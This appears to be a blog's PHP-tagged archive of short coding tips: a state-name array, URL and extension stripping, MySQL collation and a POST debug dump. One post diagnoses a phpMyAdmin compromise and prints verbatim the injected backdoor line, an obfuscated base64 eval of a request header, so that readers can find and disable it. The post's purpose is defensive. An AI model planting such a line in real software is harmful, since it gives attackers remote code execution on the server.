Entries Tagged 'PHP' ↓

United States State Name and Abbreviation PHP Array List

A PHP Array of the States of North America, useful for database access when addresses are abbreviated

$state_list = array('AL'=>"Alabama",
'AK'=>"Alaska",
'AZ'=>"Arizona",
'AR'=>"Arkansas",
'CA'=>"California",
'CO'=>"Colorado",
'CT'=>"Connecticut",
'DE'=>"Delaware",
'DC'=>"District Of Columbia",
'FL'=>"Florida",
'GA'=>"Georgia",
'HI'=>"Hawaii",
'ID'=>"Idaho",
'IL'=>"Illinois",
'IN'=>"Indiana",
'IA'=>"Iowa",
'KS'=>"Kansas",
'KY'=>"Kentucky",
'LA'=>"Louisiana",
'ME'=>"Maine",
'MD'=>"Maryland",
'MA'=>"Massachusetts",
'MI'=>"Michigan",
'MN'=>"Minnesota",
'MS'=>"Mississippi",
'MO'=>"Missouri",
'MT'=>"Montana",
'NE'=>"Nebraska",
'NV'=>"Nevada",
'NH'=>"New Hampshire",
'NJ'=>"New Jersey",
'NM'=>"New Mexico",
'NY'=>"New York",
'NC'=>"North Carolina",
'ND'=>"North Dakota",
'OH'=>"Ohio",
'OK'=>"Oklahoma",
'OR'=>"Oregon",
'PA'=>"Pennsylvania",
'RI'=>"Rhode Island",
'SC'=>"South Carolina",
'SD'=>"South Dakota",
'TN'=>"Tennessee",
'TX'=>"Texas",
'UT'=>"Utah",
'VT'=>"Vermont",
'VA'=>"Virginia",
'WA'=>"Washington",
'WV'=>"West Virginia",
'WI'=>"Wisconsin",
'WY'=>"Wyoming");

PHPMYADMIN Blank White Page on Ubuntu

On one of my slices, my phpmyadmin shows a blank page every so often. This is caused by a remote code execution exploit. You're getting hacked, but don't be scared.

The bug/hack is single line in the file /var/lib/phpmyadmin/config.inc.php, which was corrupted.

Here is the whole file:

/*
* Generated configuration file

* Version: $Id: setup.php,v 1.23.2.8.2.2 2006/05/15 07:57:09 nijel Exp $
* Date: Fri, 14 Aug 2009 14:24:39 GMT
*/

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
*$cfg['Servers'][$i]['xxx'];$z='bas'.'e64_dec'.'ode';eval($z($_SERVER['HTTP_X_CODE']));exit;#'] = 'yyy';

/* End of servers configuration */

To fix this issue, Shell into Ubuntu and Sudo up

pico /var/lib/phpmyadmin/config.inc.php

Look for the line //*$cfg['Servers'][$i]['xxx'];$z='bas'.'e64_dec'.'ode';eval($z($_SERVER['HTTP_X_CODE']));exit;#'] = 'yyy';

comment it out with //

hit ctrl+x, press y, and lets reload apache

/etc/init.d/apache2 reload

To avoid this problem:

  1. Avoid using phpmyadmin.yoursite.com or yoursite.com/phpmyadmin
  2. Use Htaccess passwords on the phpmyadmin directory

Strip HTTP:// www. and/or suffixes from URL with PHP

This code shows how to strip http, www, or any suffixes. The most efficient way is to toss an array at str_replace. If anyone write this will all the suffixes please post in comments!

function remove_http($url){
$remove = array('http://','https://','www.','.com','.org','.net','.co.uk','.name','.info','.cc','.biz','.us','.gb','.tt');
$stripedUrl = str_replace($remove, '', $url);
return strtolower($stripedUrl);
}

Example:

<? echo remove_http("http://www.DesignCodeExecute.com") ?>

Result:

designcodeexecute

MySQL Case sensitive and Case insensitive search with Match and Like

This post teaches you how to set your MySQL search queries to be Case sensitive or case insensitive.

It's all in the database collation. MySQL by default search case insensitive. In phpMyAdmin or or Putty change the Collation of your fields. Collations that are binary search case-sensitive. Collations that end with _ci like latin1_swedish_ci are case insensitive (ci is an acrynm for case insensitive.

To change your Collations quickly run this code in a loop:

ALTER TABLE tablename CONVERT TO CHARACTER SET latin1 COLLATE latin1_swedish_ci;

How to remove the file extension: Stripping the String, PHP substr() function

Striping the file extension is valuable on many levels. If i could have a nickel for every time I need to strip the file extension I'd have close to 3 bucks. One method to achieve stripped extensions is the PHP substr(), which takes in the String, Starting point, Ending point. To start from the end of the string use negative values. i.e. substr("my chicken", 0, -2) would make it "my chick", perfect

<?php

$my_file = "foobar.jpg";
$my_file= substr($my_file, 0 , -4);
echo $my_file;

?>

Result: foobar

Note: Spaces count, so count them!

HTML POST PHP Array Debbugging code that tests passing variables

Great PHP code that displays how the arrays break down when passing from HTML forms to $_POST variables.

echo "<pre>";
print_r ($_POST);
print_r ($_FILES);
echo "</pre>";

This helps when juggling multiple files or big database entries.

Create a Javascript Array with PHP from a MySQL Database Table

Wrote this function to check email addresses already in a database, so I dont have to change pages, and check with javascript. Problem: it exposes your whole email list to the public in the source code, and the source code can become a monster length. So it isnt practical, but it works. (I'm not using it to check emails)

The script proves useful to do other things with javascript and spawn arrays to manipulate data... etc.

function jarray(){

$sql = "SELECT * FROM table_name LIMIT 0, 100000000";
$jarray = "var your_array = new Array();\n\t\t";
$i = 0;
$q = mysql_query($sql);
while($object = mysql_fetch_object($q)){
$jarray = $jarray."your_array[{$i}] = \"{$object->field_name}\";\n\t\t";
$i++;
}

print $jarray."\n";
}

Put your own info where the Text is bold